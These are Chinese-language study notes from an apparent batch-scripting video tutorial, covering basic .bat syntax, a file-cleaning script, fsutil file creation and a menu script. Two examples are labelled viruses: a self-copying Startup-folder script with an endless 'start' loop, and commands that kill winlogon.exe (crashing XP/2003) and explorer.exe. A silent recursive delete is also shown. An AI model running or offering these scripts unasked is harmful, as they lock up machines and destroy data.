视频链接: https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=14

批处理编写
自上而下成批的处理每一条命令,直到执行最后一条的.bat为扩展名的文档
基础设置
@echo off //关闭回显,即关闭执行过程
color 0a //颜色设置,调节颜色color ?
title huminv2.0 //标题设置
echo. //空行
案例1:垃圾清理
@echo off
color 0a
title clear laji program
echo ---------------------------
echo clear your system laji
echo if bei lan jie
echo please fangqi
echo ---------------------------
pause
echo.
echo laji is clearing......
d: >nul 2>nul //进入D盘(不一定在D的根目录)
cd \ >nul 2>nul //到达D盘的根目录
cd ./demo/willdel/ //必须增加该句子,到达D盘的下面将删除的文件夹。在该文件夹中配置一些文件及文件夹。若省略该命令,直接运用下面的命令,你D盘的东西直接物理删除,等着哭吧
rd . /s /q >nul 2>nul //当前文件夹的子文件全沉默删除
ping -n 10 127.0.0.1 >nul 2>nul //拼本地地址
echo congratulations!!! laji qingli over!
pause
// 对于>nul 2>nul是可以屏蔽一切屏幕的输出
//>nul 对于命令正确的使用,输出显示重定向为nul,清空了
//2>nul对于命令不正确时,还是会有输出,2>nul对因为命令错误输出内容进行屏蔽
案例2:创建指定大小的文件
d:
cd \
fsutil file createnew d:\sys.ini 40960000
fsutil file createnew d:\sys1.ini 40960000
fsutil file createnew d:\sys2.txt 4096
fsutil file createnew d:\sys3.txt 4096
fsutil file createnew d:\sys4.txt 4096
注:需要管理员的身份权限
案例3(病毒):把源文件本身添加到开机启动项目中,即设置了开机自启
该文件取名:qq.bat
//开机自启循环
copy qq.bat "%userprofile%\「开始」菜单bai\程序\启动"
:d //模块D,打开命令窗口,循环
start
goto d
案例4:程序运用
.bat文件
@echo off //关闭回显,即关闭执行过程
color 0a //颜色设置,调节颜色color ?
title huminv2.0 //标题设置
echo. //空行
:menu
cls //清屏
echo ----------------------
echo 菜单
echo 1.修改管理员密码
echo 2.定时关机
echo 3.退出本程序
echo------------------------
set /p num=你的选择是: //设置变量,常用与在脚本中的互动赋值。
if "%num%"=="1" goto 1 //if-goto的用法
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
pause //暂停
goto menu
:1 //区块
set /p u=请输入用户名:
set /p p=请输入用户密码:
net user %u% %p% >nul
echo 你的密码设置成功!
pause
goto menu
:2
set /p time=请输入时间:
shutdown -s -t %time%
set /p x=是否取消(1:是,0:否):
if "%x%"=="1" shutdown -a
goto menu
pause
:3
exit
案例5(病毒):强制杀死指定的进程
ntsd -c q -pn winlogon.exe //针对xp/2003蓝屏操作
taskkill /im explorer.exe /f //强行关闭进程-桌面进程
echo 傻了吧
ping -n 5 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 吓唬你的
pause